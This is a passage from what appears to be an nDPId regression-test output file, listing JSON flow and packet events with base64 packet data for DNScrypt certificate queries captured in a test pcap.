AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":234,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":37890,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":235,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132131,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwbUAub0RkXgKAAABLZm7YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":235,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":236,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":45987,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132157,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwbYgAL0RbKQKAAABLZm7YLOjEPcGBK77MPMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":236,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":45987,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":237,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132174,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwbYAub0RkXcKAAABLZm7YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":237,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":238,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":46063,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132193,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwbdAAL0RUGMKAAABLZm7YLPvEPcCCKvPMPYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":238,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":46063,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":239,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":43129,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132228,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcwbhAAL0RUGIKAAABLZm7YKh5EPcCCKvPMPQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":239,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":43129,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":240,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":40451,"dst_port":4343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132266,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcwbkgAL0RbKEKAAABLZm7YJ4DEPcGBMSXMPcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":240,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":946739312132,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.153.187.96","src_port":40451,"dst_port":4343,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":241,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132283,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQwbkAub0RkXQKAAABLZm7YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":241,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00670{"flow_id":94,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":132855,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ZmZmZmZmRERERERECABFAADZ1M0AADURfjozDz5BCgAAAQG7gvEAxUKLxUSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} +00670{"flow_id":92,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":133331,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ZmZmZmZmRERERERECABFAADZ1MoAADURfj0zDz5BCgAAAQG7s6kAxRHOxUmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} +00670{"flow_id":96,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":136620,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ZmZmZmZmRERERERECABFAADZ1M4AADURfjkzDz5BCgAAAQG77T8Axdg5xUeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} +00670{"flow_id":95,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":136710,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"ZmZmZmZmRERERERECABFAADZ1M8AADQRfzgzDz5BCgAAAQG7qsIAxRq5xUWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA5za3lmaWdodGVyLWRucwNjb20AABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAG60zsERLlFII2wj6zTIwofCbgq4wxjKMp9YEu9fS884Cf11c1Q4cTQ+J+ZjK7ZH4aaqK8VPbAGFYW80ueYrfwU8FAQJxEup2Hwk1EI2Qz7npiyDDRkpQyGDCxkaPRZtbjwUBAnES6nYAAAAAV9TrQRfVP6E"} +00667{"flow_id":97,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":178145,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWP31AADYRWuQtmbtgCgAAARD3o7kAwiF7MPiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAJDQ0ZbvRpC3D0bgumZKuy3tvg+CeWgIXh45Ishvbc3SjW3OKRxUShg2C7mIARv2NR589zRzZQEE1IcPTnNuvwAPMT4OYzIpCP1X\/njGK43zV6uPrF4F7max8o8+EVSzPA8xPg5jMikIAAAAAV9TfFZfVM3W"} +00668{"flow_id":100,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":179649,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWP35AADYRWuMtmbtgCgAAARD3s+8AwhFHMPaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAJDQ0ZbvRpC3D0bgumZKuy3tvg+CeWgIXh45Ishvbc3SjW3OKRxUShg2C7mIARv2NR589zRzZQEE1IcPTnNuvwAPMT4OYzIpCP1X\/njGK43zV6uPrF4F7max8o8+EVSzPA8xPg5jMikIAAAAAV9TfFZfVM3W"} +00669{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":179678,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWP39AADYRWuItmbtgCgAAARD3qHkAwhy\/MPSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAJDQ0ZbvRpC3D0bgumZKuy3tvg+CeWgIXh45Ishvbc3SjW3OKRxUShg2C7mIARv2NR589zRzZQEE1IcPTnNuvwAPMT4OYzIpCP1X\/njGK43zV6uPrF4F7max8o8+EVSzPA8xPg5jMikIAAAAAV9TfFZfVM3W"} +00667{"flow_id":98,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":180283,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWP4BAADYRWuEtmbtgCgAAARD3lAIAwjE1MPWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydA9zdGgtZG5zY3J5cHQtc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAAJDQ0ZbvRpC3D0bgumZKuy3tvg+CeWgIXh45Ishvbc3SjW3OKRxUShg2C7mIARv2NR589zRzZQEE1IcPTnNuvwAPMT4OYzIpCP1X\/njGK43zV6uPrF4F7max8o8+EVSzPA8xPg5jMikIAAAAAV9TfFZfVM3W"} 